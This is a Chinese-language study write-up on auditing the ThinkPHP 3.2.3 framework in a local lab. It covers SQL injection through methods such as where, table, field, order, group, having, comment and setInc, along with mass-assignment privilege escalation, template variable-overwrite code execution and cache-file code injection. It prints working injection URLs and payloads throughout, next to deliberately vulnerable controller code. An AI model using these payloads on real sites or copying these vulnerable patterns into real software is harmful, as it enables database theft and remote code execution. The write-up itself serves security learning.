ThinkPHP3框架漏洞审计
学习的视频是这个:Web网络安全进阶视频/ThinkPHP框架代码审计/黑客进阶/ThinkPHP,2017年的视频,有点老旧,画质模糊,老师讲得也算还行吧,作为没学过TP框架入门教程还可以。
环境配置和认知框架
ThinkPHP是一个快速、简单的基于MVC和面向对象的轻量级PHP开发框架,遵循Apache2开源协议发布,从诞生以来一直秉承简洁实用的设计原则,在保持出色的性能和至简的代码的同时,尤其注重开发体验和易用性,并且拥有众多的原创功能和特性,为WEB应用开发提供了强有力的支持。
版本:ThinkPHP 3.2.3
开发手册:ThinkPHP3.2完全开发手册
核心文件和换背景搭建
初始文件目录
www WEB部署目录(或者子目录)
├─index.php 入口文件
├─README.md README文件
├─Application 应用目录
├─Public 资源文件目录
└─ThinkPHP 框架目录
框架目录ThinkPHP的结构如下
├─ThinkPHP 框架系统目录(可以部署在非web目录下面)
│ ├─Common 核心公共函数目录
│ ├─Conf 核心配置目录
│ ├─Lang 核心语言包目录
│ ├─Library 框架类库目录
│ │ ├─Think 核心Think类库包目录
│ │ ├─Behavior 行为类库目录
│ │ ├─Org Org类库包目录
│ │ ├─Vendor 第三方类库目录
│ │ ├─ ... 更多类库目录
│ ├─Mode 框架应用模式目录
│ ├─Tpl 系统模板目录
│ ├─LICENSE.txt 框架授权协议文件
│ ├─logo.png 框架LOGO文件
│ ├─README.txt 框架README文件
│ └─ThinkPHP.php 框架入口文件
项目目录
Application
├─Common 应用公共模块
│ ├─Common 应用公共函数目录
│ └─Conf 应用公共配置文件目录
├─Home 默认生成的Home模块
│ ├─Conf 模块配置文件目录
│ ├─Common 模块函数公共目录
│ ├─Controller 模块控制器目录
│ ├─Model 模块模型目录
│ └─View 模块视图文件目录
├─Runtime 运行时目录
│ ├─Cache 模版缓存目录
│ ├─Data 数据目录
│ ├─Logs 日志目录
│ └─Temp 缓存目录
Model.class.php
位于\ThinkPHP\Library\Think\Model.class.php
数据库的联动操作方法,如where/order/setInc/setDec等。
public function query($sql,$parse=false) // SQL查询
public function execute($sql,$parse=false) // 执行SQL语句
public function table($table) // 指定当前的数据表
public function join($join,$type='INNER') // 查询SQL组装 join
public function union($union,$all=false) // 查询SQL组装union
public function where($where,$parse=null) // 指定查询条件,支持安全过滤
public function limit($offset,$length=null) // 指定查询数量
Driver.class.php
位于\ThinkPHP\Library\Thinkl\Db\Driver.class.php
数据条件分析,各种操作数据库。
protected function parseLimit($limit) // 拼接limit
protected function parseOrder($order) // 拼接order by
数据库创建
CREATE DATABASE thinkphp3;
USE thinkphp3;
CREATE TABLE thinkphp_user(
id INT(8) PRIMARY KEY NOT NULL ,
username VARCHAR(255),
password VARCHAR(255)
)
INSERT INTO thinkphp3.thinkphp_user VALUE (0, 'admin', '123456')
数据库连接
数据库配置在/ThinkPHP/Conf/convention.php
中:
复制到/Application/Common/Conf/config.php
中,并且配置好:
<?php
return array(
//'配置项'=>'配置值'
/* 数据库设置 */
'DB_TYPE' => 'mysql', // 数据库类型
'DB_HOST' => '127.0.0.1', // 服务器地址
'DB_NAME' => 'thinkphp3', // 数据库名
'DB_USER' => 'root', // 用户名
'DB_PWD' => 'root', // 密码
'DB_PORT' => '3306', // 端口
'DB_PREFIX' => 'thinkphp_', // 数据库表前缀
'DB_PARAMS' => array(), // 数据库连接参数
'DB_DEBUG' => TRUE, // 数据库调试模式 开启后可以记录SQL日志
'DB_FIELDS_CACHE' => true, // 启用字段缓存
'DB_CHARSET' => 'utf8', // 数据库编码默认采用utf8
'DB_DEPLOY_TYPE' => 0, // 数据库部署方式:0 集中式(单一服务器),1 分布式(主从服务器)
'DB_RW_SEPARATE' => false, // 数据库读写是否分离 主从式有效
'DB_MASTER_NUM' => 1, // 读写分离后 主服务器数量
'DB_SLAVE_NO' => '', // 指定从服务器序号
);
测试连接
在 \Application\Home\Controller\IndexController.class.php
添加一个test方法:
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index(){
$this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #333;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover{color:blue;}</style><div style="padding: 24px 48px;"> <h1>:)</h1><p>欢迎使用 <b>ThinkPHP</b>!</p><br/>版本 V{$Think.version}</div><script type="text/javascript" src="http://ad.topthink.com/Public/static/client.js"></script><thinkad id="ad_55e75dfae343f5a1"></thinkad><script type="text/javascript" src="http://tajs.qq.com/stats?sId=9347272" charset="UTF-8"></script>','utf-8');
}
public function test() {
$data = M('user')->where('id=0')->select();
dump($data);
}
}
然后访问:/index.php/home/index/test
开启Debug模式
往配置文件/Application/Common/Conf/config.php
添加调试配置:
// 显示页面Trace信息
'SHOW_PAGE_TRACE' =>true,
刷新页面,能够看到调试信息:
URL模式
在代码审计调试过程中,主要用到pathinfo模式和普通模式
pathinfo模式
http://serverName/index.php/模块/控制器/操作/键名/键值
http://serverName/index.php/模块-控制器-操作-键名-键值
配置
'URL_MODEL' => 1, // URL访问模式,可选参数0、1、2、3,代表以下四种模式:
// 0 (普通模式); 1 (PATHINFO 模式); 2 (REWRITE 模式); 3 (兼容模式) 默认为PATHINFO 模式
普通模式
http://serverName/index.php/?m=模块&c=控制器&a=操作名&键1=值&键2=值
配置
'URL_MODEL' => 0, // URL访问模式,可选参数0、1、2、3,代表以下四种模式:
// 0 (普通模式); 1 (PATHINFO 模式); 2 (REWRITE 模式); 3 (兼容模式) 默认为PATHINFO 模式
ThinkPHP控制器
控制器定义
ThinkPHP的控制器是一个类,而操作则是控制器类一个公共(public function)方法。
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function hello() {
echo 'hello world';
}
}
控制器操作
A方法
A("[模块/]控制器标志")
实例化控制器对象.。
跨控制器实例化后,再调用被实例化对象方法。
在Index控制器中调用User控制器调用链:
// indexController.class.php
public function getUserIndexA()
{
$User = A('User');
$User->index();
}
// UserController.class.php
class UserController extends Controller
{
public function index()
{
echo 'User Controller';
}
}
访问index控制器的getUserIndexA方法:
R方法
R("[模块/]控制器标志/操作方法")
实例化控制器变量同时调用指定对象。
直接调用对象方法。
// indexController.class.php
public function getUserIndexR() {
R('User/index');
}
// UserController.class.php
class UserController extends Controller
{
public function index()
{
echo 'User Controller';
}
}
Action 参数绑定
Action 将URL中的参数与操作方法中的参数进行绑定,该功能默认开启。
'URL_PARAMS_BIND' => true, // URL变量绑定到Action方法参数
添加一个getUser方法:
public function getUser($id) {
echo $id;
}
请求:
获取变量
支取PHP内所有原生语法。
$id = $_GET['id'];
$name = $_POST['name'];
$value = $_SESSION['var'];
$name = $_COOKIE['name'];
$file = $_SERVER['PHP_SELF'];
I方法是ThinkPHP用于更加方便和安全的获取系统输入变量,可以用于任何地方,用法格式如下:
I('变量类型.变量名/修饰符',['默认值'],['过滤方法或正则'],['额外数据源'])
例如:
public function getUser() {
$id = i('id','1','intval');
dump($id);
}
请求类型
常量 | 说明 |
---|---|
IS_GET | 判断是否是GET方式提交 |
IS_POST | 判断是否是POST方式提交 |
IS_PUT | 判断是否是PUT方式提交 |
IS_DELETE | 判断是否是DELETE方式提交 |
IS_AJAX | 判断是否是AJAX方式提交 |
REQUEST_METHOD | 当前提交类型 |
Ajax请求的时候需要在头部添加 X-Request-With: XMLHttpRequest
插件控制器
插件控制器的变量由参数 VAR_ADDON
进行设置,默认为addon
,例如我们在URL中传入:
http://serverName/Home/info/index/addon/SystemInfo
由于传入了addon参数,因此这里的Info控制器并非原来的:
Home/Controller/InfoController.class.php
而是调用SystemInfo
插件(位于Application/Addon
目录下面)的InfoController
控制器了,文件位于 Application/Addon/SystemInfo/Controller/InfoController.class.php
。
插件控制器本身的定义和普通的访问控制器一样,例如:
namespace Addon\SystemInfo\Controller;
class InfoController extends \Think\Controller{
public function index(){
echo 'Addon SystemInfo';
}
}
这样,我们在访问http://serverName/Home/info/index/addon/SystemInfo
的时候 就会输出 Addon SystemInfo
SQL注入
常规注入
where
用字符串的方式将条件作为where
查询语句的参数时容易产生SQL注入。
$User = M("User"); // 实例化User对象
$User->where('type=1 AND status=1')->select();
使用字符串查询时,需要配合预处理语句。
$Model->where("id=%d and username='%s' and xx='%f'",array($id,$username,$xx))->select();
直接传入字符串使用
查询thinkphp_user表中的数据,传入参数id。
public function getUserIndex()
{
$data = M('User') -> where('id=' . i('id')) -> select();
var_dump($data);
}
路由:
http://127.0.0.1/thinkphp_3.2.3/index.php/home/index/getUserIndex?id=0
如果没有使用任何过滤函数或者正则表达式,这里存在注入点,闭合语句即可:
http://127.0.0.1/thinkphp_3.2.3/index.php/home/index/getUserIndex?id=0) and updatexml(1,concat(0x3a,(user())),1)%23
数组查询方式
数组条件的where
用法是ThinkPHP推荐的用法。(安全无注入)
$User = M("User"); // 实例化User对象
$map['id'] = i('id');
$map['user'] = i('user');
// 把查询条件传入查询方法
$User->where($map)->select();
使用数组查询的过程中会对参数进行addslashes
方法操作,过滤掉闭合的符号。
生成的语句:
SELECT * FROM thinkphp_user WHERE `id`=$id AND `username`=$user
table
一般情况下,操作模型的时候系统能够自动识别当前的数据表。用到table
方法的场景就是切换数据表查询或多表查询。
$data = M() -> table(i('tab')) -> where('1=1') -> select();
当我们传入参数tab=thinkphp_user
时:
这里能够利用table字段进行注入,只要满足查询的表名存在,后面拼接上利用语句即可:
http://127.0.0.1/thinkphp_3.2.3/index.php/home/index/getUserIndex?tab=thinkphp_user where 1=1 and extractvalue(0x0a,concat(0x0a,(select user())))%23
构造出来的查询语句为:
SELECT * FROM thinkphp_user where 1=1 and extractvalue(0x0a,concat(0x0a,(select user())))# WHERE ( 1=1 )
field
field
方法属于模型的连贯操作方法之一,主要目的是标识要返回或者操作的字段,可以用于查询和写入操作。
$Model->field('id,title,content')->select();
只要field
方法中参数可控,不管是字段还是字符串,都是可以被注入的。
M('User') -> field(array(i["field"])) -> select();
传入:
http://127.0.0.1/thinkphp_3.2.3/index.php/home/index/getUserIndex?field=username FROM thinkphp_user WHERE id=1 and extractvalue(0x0a,concat(0x0a,(select database())))%23
数组方式的定义可以为某些字段定义别名,例如:
M('User') -> field(array('id','username'=>i('username'))) -> select();
别名中也存在注入:
http://127.0.0.1/thinkphp_3.2.3/index.php/home/index/getUserIndex?username=uanme FROM thinkphp_user WHERE id=1 and extractvalue(0x0a,concat(0x0a,(select database())))%23
alias|join|union
alias
用来设置表的别名,与field
类似。它一般和join
方法成对出现,用于数据的连贯操作。JOIN
方法也是连贯操作方法之一,用于根据两个或多个表中的列之间的关系,从这些表中查询数据。
$Model->alias('a')->join('__DEPT__ b ON b.user_id= a.id')->select();
最终生成的SQL语句类似于:
SELECT * FROM think_user a INNER JOIN think_dept b ON b.user_id= a.id
UNION
操作用于合并两个或多个 SELECT 语句的结果集。
$Model->field('name')
->table('think_user_0')
->union('SELECT name FROM think_user_1')
->union('SELECT name FROM think_user_2')
->select();
审计时要注意alias|join|union参数是否可控,如果可控则存在注入。
order|group|having
order方法
order
方法属于模型的连贯操作方法之一,用于对操作的结果排序。
$Model->where('status=1')->order('id desc')->limit(5)->select();
只要order
中的参数可控就可以进行order by注入:
M('User')->where('1=1')->order(array(i('orderby')))->select();
输入:
http://127.0.0.1/thinkphp_3.2.3/index.php/home/index/getUserIndex?orderby=1 and if((select SUBSTR((select user()),1,1)='r'),sleep(2),1)
或者报错注入:
http://127.0.0.1/thinkphp_3.2.3/index.php/home/index/getUserIndex?orderby=(select updatexml(1,concat(0x7e,(select @@version),0x7e),1))
group方法
GROUP
方法也是连贯操作方法之一,通常用于结合合计函数,根据一个或多个列对结果集进行分组 。
group
方法只有一个参数,并且只能使用字符串。
$this->field('user_id,username,max(score)')->group('user_id')->select();
group
方法也存在注入:
M('User') -> field(array('score','username')) -> group(i('group')) -> select();
报错注入:
http://127.0.0.1/thinkphp_3.2.3/index.php/home/index/getUserIndex?group=extractvalue(0x0a,concat(0x0a,(select database())))
having方法
HAVING
方法也是连贯操作之一,用于配合group方法完成从分组的结果中筛选(通常是聚合条件)数据。
having
方法只有一个参数,并且只能使用字符串.
$this->field('username,max(score)')->group('user_id')->having('count(test_time)>3')->select();
having
方法也能使用报错注入:
M('User') -> field(array('score','username')) -> group(i('group'))-> having(i('having'))-> select();
输入:
http://127.0.0.1/thinkphp_3.2.3/index.php/home/index/getUserIndex?group=score&having=extractvalue(0x0a,concat(0x0a,(select database())))
comment|index
comment 注入
COMMENT方法 用于在生成的SQL语句中添加注释内容,例如:
$this->comment('查询考试前十名分数')
->field('username,score')
->limit(10)
->order('score desc')
->select();
最终生成的SQL语句是:
SELECT username,score FROM think_score ORDER BY score desc LIMIT 10 /* 查询考试前十名分数 */
可以看到,这里实际上的插入点是在limit
语句后面,所以这里就相当于是limit注入。
$data = M('User')
-> comment(i('comment'))
-> where('1=1')
-> select();
需要把注释语句闭合*/
,然后输入注入语句:
http://127.0.0.1/thinkphp_3.2.3/index.php/home/index/getUserIndex?comment=aaa*/ and extractvalue(0x0a,concat(0x0a,(select database())))%23
index索引注入
index方法用于数据集的强制索引操作,例如:
$Model->force('user')->select();
对查询强制使用user索引,user必须是数据表实际创建的索引名称。
在ThinkPHP 5.0版本的force
方法存在注入:
$data = M('User')
-> force(i('f'))
-> select();
输入:
http://127.0.0.1/thinkphp_3.2.3/index.php/home/index/getUserIndex?f=user ) procedure analyse(extractvalue(0x0a,concat(0x0a,(select database()))))%23
由于我的版本是3.2.3,所以没能成功。
query|execute|聚合方法
ThinkPHP仍然保留了原生的SQL查询和执行操作支持,为了满足复杂查询的需要和一些特殊的数据操作。
QUERY方法
query方法用于执行SQL查询操作,如果数据非法或者查询错误则返回false,否则返回查询结果数据集(同select方法)。
$Model = new \Think\Model() // 实例化一个model对象 没有对应任何数据表
$Model->query("select * from think_user where status=1");
EXECUTE方法
execute用于更新和写入数据的sql操作,如果数据非法或者查询错误则返回false ,否则返回影响的记录数。
$Model = new \Think\Model() // 实例化一个model对象 没有对应任何数据表
$Model->execute("update think_user set name='thinkPHP' where status=1");
这里的QUERY
和EXECUTE
方法都是普通原生的SQL查询语句,只要能够控制其中的参数,就能够实现注入。
聚合方法
在应用中我们经常会用到一些统计数据,例如当前所有(或者满足某些条件)的用户数、所有用户的最大积分、用户的平均成绩等等,ThinkPHP为这些统计操作提供了一系列的内置方法,包括:
方法 | 说明 |
---|---|
Count | 统计数量,参数是要统计的字段名(可选) |
Max | 获取最大值,参数是要统计的字段名(必须) |
Min | 获取最小值,参数是要统计的字段名(必须) |
Avg | 获取平均值,参数是要统计的字段名(必须) |
Sum | 获取总分,参数是要统计的字段名(必须) |
$data = M('User')-> count(i('para'));
输入:
http://127.0.0.1/thinkphp_3.2.3/index.php/home/index/getUserIndex?para=*) FROM thinkphp_user WHERE extractvalue(0x0a,concat(0x0a,(select database())))%23
EXP注入
EXP表达式
$map['字段名'] = array('exp','查询条件');
exp查询的条件不会被当成字符串,所以后面的查询条件可以使用任何SQL支持的语法,包括使用函数和字段名称。查询表达式不仅可用于查询条件,也可以用于数据更新,例如:
$map = array();
$map['ID']=$_GET['id'];
$data = M('User') -> where($map) -> find();
dump($data);
产生漏洞的代码是从$_GET[]
数组中获取参数的,当使用I()
方法获取参数时,该代码是不存在漏洞的。
对于统计字段(通常指的是数字类型)的更新,系统还提供了setInc
和setDec
方法。
$User = M("User"); // 实例化User对象
$User->where('id=5')->setInc('score',3); // 用户的积分加3
$User->where('id=5')->setInc('score'); // 用户的积分加1
$User->where('id=5')->setDec('score',5); // 用户的积分减5
$User->where('id=5')->setDec('score'); // 用户的积分减1
查找该方法:
/**
* 字段值减少
* @access public
* @param string $field 字段名
* @param integer $step 减少值
* @param integer $lazyTime 延时时间(s)
* @return boolean
*/
public function setDec($field,$step=1,$lazyTime=0) {
if($lazyTime>0) {// 延迟写入
$condition = $this->options['where'];
$guid = md5($this->name.'_'.$field.'_'.serialize($condition));
$step = $this->lazyWrite($guid,-$step,$lazyTime);
if(empty($step)) {
return true; // 等待下次写入
}elseif($step > 0) {
$step = '-'.$step;
}
}
return $this->setField($field,array('exp',$field.'-'.$step));
}
参数直接拼接,而没有进行任何过滤,这里存在SQL注入漏洞点。
$data = M('User') -> where('id=3') -> setInc('score',i('num'));
输入:
http://127.0.0.1/thinkphp_3.2.3/index.php/home/index/getUserIndex?num=5%20WHERE%20extractvalue(0x0a,concat(0x0a,(select%20database())))%23
Action参数注入
一般审计的时候先找I
方法或者GET、POST等原生态请求。从而容易忽略掉Action参数传入的变量。
public function getUserIndex($id)
{
if(intval($id) > 0) {
$data = M('user') -> where('id='.$id) -> select();
dump($data);
}
}
如果带入到 where
方法里,表示以字符串的形式查询,也就造成了注入。
输入:
http://127.0.0.1/thinkphp_3.2.3/index.php/home/index/getUserIndex?id=1) AND extractvalue(0x0a,concat(0x0a,(select database())))%23
可以通过正则表达式匹配有关方法:
public\s+function\s+[\w_*]+\(\s
组合注入
组合查询的主体还是采用数组方式查询,只是加入了一些特殊的查询支持,包括字符串模式查询(_string
)、复合查询(_complex
)、请求字符串查询(_query
),混合查询中的特殊查询每次查询只能定义一个,由于采用数组的索引方式,索引相同的特殊查询会被覆盖。
_string
数组条件可以和字符串条件(采用_string
作为查询条件)混合使用,例如:
$User = M("User"); // 实例化User对象
$map['id'] = array('EGT',1);
$map['_string'] = 'score='.i('score');
$data = $User->where($map)->select();
实际生成的语句为:
SELECT * FROM `thinkphp_user` WHERE `id` >= 1 AND ( score=$score )
输入:
http://127.0.0.1/thinkphp_3.2.3/index.php/home/index/getUserIndex?score=1) AND extractvalue(0x0a,concat(0x0a,(select database())))%23
_query
请求字符串查询是一种类似于URL传参的方式,可以支持简单的条件相等判断。
$User = M("User"); // 实例化User对象
$map['id'] = array('EGT',1);
$map['_query'] = 'score='.i('score').'&username='.i('username');
$data = $User->where($map)->select();
dump($data);
输入:
http://127.0.0.1/thinkphp_3.2.3/index.php/home/index/getUserIndex?score=0'&username=john
可以看到,_query
方法查询的sql语句会对特殊字符进行转义,无法进行注入。
高级漏洞
逻辑越权
规则定义
自动完成通常用来完成默认字段写入,安全字段过滤以及业务逻辑的自动处理等,和自动验证的定义方式类似,自动完成的定义也支持静态定义和动态定义两种方式。
- 静态方式:在模型类里面通过$_auto属性定义处理规则。
- 动态方式:使用模型类的auto方法动态创建自动处理规则。
两种方式的定义规则都采用:
array(
array(完成字段1,完成规则,[完成条件,附加规则]),
array(完成字段2,完成规则,[完成条件,附加规则]),
......
);
完成字段(必须)
需要进行处理的数据表实际字段名称。
完成规则(必须)
需要处理的规则,配合附加规则完成。
完成时间(可选)
设置自动完成的时间,包括:
设置 | 说明 |
---|---|
self::MODEL_INSERT或者1 | 新增数据的时候处理(默认) |
self::MODEL_UPDATE或者2 | 更新数据的时候处理 |
self::MODEL_BOTH或者3 | 所有情况都进行处理 |
附加规则(可选)
规则 | 说明 |
---|---|
function | 使用函数,表示填充的内容是一个函数名 |
callback | 回调方法 ,表示填充的内容是一个当前模型的方法 |
field | 用其它字段填充,表示填充的内容是一个其他字段的值 |
string | 字符串(默认方式) |
ignore | 为空则忽略(3.1.2新增) |
静态定义
预先在模型类里面定义好自动完成的规则,我们称之为静态定义。例如,我们在模型类定义_auto
属性:
namespace Home\Model;
use Think\Model;
class UserModel extends Model{
protected $_auto = array (
array('status','1'), // 新增的时候把status字段设置为1
array('password','md5',3,'function') , // 对password字段在新增和编辑的时候使md5函数处理
array('name','getName',3,'callback'), // 对name字段在新增和编辑的时候回调getName方法
array('update_time','time',2,'function'), // 对update_time字段在更新的时候写入当前时间戳
);
}
然后,就可以在使用create
方法创建数据对象的时候自动处理:
$User = D("User"); // 实例化User对象
if (!$User->create()){ // 创建数据对象
// 如果创建失败 表示验证没有通过 输出错误提示信息
exit($User->getError());
}else{
// 验证通过 写入新增数据
$User->add();
}
在进行自动验证的时候,系统会对定义好的验证规则进行依次验证。如果某一条验证规则没有通过,则会报错,getError
方法返回的错误信息(字符串)就是对应字段的验证规则里面的错误提示信息。
静态定义方式因为必须定义模型类,所以只能用D函数实例化模型
create
方法默认情况下是根据表单提交的post数据生成数据对象
动态完成
除了静态定义之外,我们也可以采用动态完成的方式来解决不同的处理规则。
$rules = array (
array('status','1'), // 新增的时候把status字段设置为1
array('password','md5',3,'function') , // 对password字段在新增和编辑的时候使md5函数处理
array('update_time','time',2,'function'), // 对update_time字段在更新的时候写入当前时间戳
);
$User = M('User');
$User->auto($rules)->create();
$User->add();
漏洞点
- 假设有一个数据库,其中的level字典代表管理员权限
- /Home/Controller/UserModel.class.php
class UserModel extends Model {
protected $_auto = array (
array('password', 'md5', 3, 'function'),
array('score', '10'),
array('username', '', 3, 'ignore'),
);
}
这里模型的规则并没有对level字段进行定义。
- /Home/Modle/UserController.class.php
class UserController extends Controller {
public function index() {
echo 'R - User Controller';
}
public function addUser() {
$User = D("User"); // 实例化User对象
if (!$User->create()) { //创建数组对象
// 如果创建失败,返回错误信息
exit($User->getError());
} else {
$User->add();
}
}
}
设置UserController控制器的addUser
方法,通过模型的create
方法来实现修改数据。
输入:
username=steve&password=tom123&score=60&level=1
发现不仅能够控制在模型规则中定义好的字段,同时还能控制模型中没定义的level字段,造成了越权。
模板漏洞
模板漏洞的危害性很大,但是收到的条件限制很多,出现的概率很小。
需要配置 TMPL_ENGINE_TYPE => ‘php’
,默认是Think
- 在控制器中新建一个测试方法IndexController.class.php
public function test() {
$data = $_GET['name'];
$this->assign($data); //使用模板渲染数据
$this->display('index');
}
注意需要新建一个 /Home/View/Index/index.html 文件,内容为空即可,否则会报错说找不到模板文件。
输入:
http://127.0.0.1/thinkphp_3.2.3/index.php/home/index/test?name[_content]=<?php phpinfo();?>
这个漏洞比较有意思,是一个变量覆盖漏洞,调试源代码看一下:
前面直接掠略过,定位到 ThinkPHP/Library/Think/View.class.php 文件的fetch
方法:
可以看到断点处的判断,配置中的TMPL_ENGINE_TYPE参数是否为php,然后将$content
的值赋值给$_content
,接着执行:
extract($this->tVar, EXTR_OVERWRITE);
extract
方法是从数组中将变量导入到当前的符号表,而且使用了EXTR_OVERWRITE作为参数,EXTR_OVERWRITE的意思是:如果有冲突,覆盖已有的变量。那么这里就形成了一个变量覆盖的情况,而这里的$this->tVar
里面的内容是啥呢?
tVar
数组里面就只有一个值,正是我们传进来的_content=<?php phpinfo();?>
,这么一来就把原来$_content
的值给覆盖掉为我们传入的值。
接着到:
empty($_content)?include $templateFile:eval('?>'.$_content);
先判断$_content
是否为空,否的话就直接eval
了,并且还很贴心地把前面的内容给闭合掉。
PHP标签
踩坑,这里在上面的模板漏洞那里把模板引擎改成php了,这样一来是无法识别
<php>
标签的,得该回去Think模板引擎
<php></php>
支持PHP语法,也可以使用原生的<?php ?>
,原生的php语法可能因为参数配置禁用而解析错误。
在控制器中传入$data
:
class IndexController extends Controller {
public function index() {
$data = I('id');
$this->assign('data', $data);
$this->display();
}
}
在模板的<php>
标配内进行渲染:
<php>eval(${data})</php>
输入:
http://127.0.0.1/thinkphp_3.2.3/index.php/home/index/index?data=phpinfo();
缓存漏洞
- F方法:
快速缓存Data数据
F('data', '<?php phpinfo();?>')
生成文件位于Runtime\Data,且文件没有进行加密,名字为 data.php;如果个目录能够被访问或包含则可以实现php的代码执行。
- S方法:
缓存数据,缓存的文件名默认是MD5加密处理
if(!S('data')) {
S('data', $_GET['d']);
echo '缓存成功';
}
生成的文件在Runtime\Temp目录下,并且文件名是进行了加密处理,这里我测试的时候还是传<?php phpinfo();?>
进去,查看一下文件:
发现代码被注释掉了,这里的绕过方法是使用%0a
进行换行,输入:
%0a;phpinfo%28%29;//
再次查看文件:
%0a
进行了换行,后面的代码逃逸掉了前面的注释符。
由于这里的文件名仍只是进行了md5加密,容易被人猜到文件名,所以配置中还支持设置DATA_CACHE_KEY对文件名进行加盐md5,避免缓存文件名被猜测到:
'DATA_CACHE_KEY' => 'think'
Widget 扩展
Widget扩展一般用于页面组件的扩展。
举个例子,我们在页面中实现一个分类显示的Widget,首先我们要定义一个Widget控制器层CateWidget,如下:
namespace Home\Widget;
use Think\Controller;
class CateWidget extends Controller {
public function menu() {
echo 'menuwidget';
}
}
然后,我们在模板中通过W方法调用这个Widget。
{:W('Cate/Menu')}
Widget实际上就是一个控制器,假如Widget扩展中有一些能够利用的函数的话,我们就可以在正常的控制器中寻找那里调用了使用Widget扩展的模板,从而进行利用。
同样地,Widget可能进行传参,不过我试了一下,好像在控制器中控制模板参数注入Widget的标签里面进行传参似乎并不可行:
namespace Home\Widget;
use Think\Controller;
class CateWidget extends Controller {
public function menu($id,$name){
echo $id.':'.$name;
}
}
模版中的参数调用,使用:
{:W('Cate/Menu',array(5,'thinkphp'))}
传入的参数是一个数组,顺序对应了menu方法定义的参数顺序。
则会输出:
5:thinkphp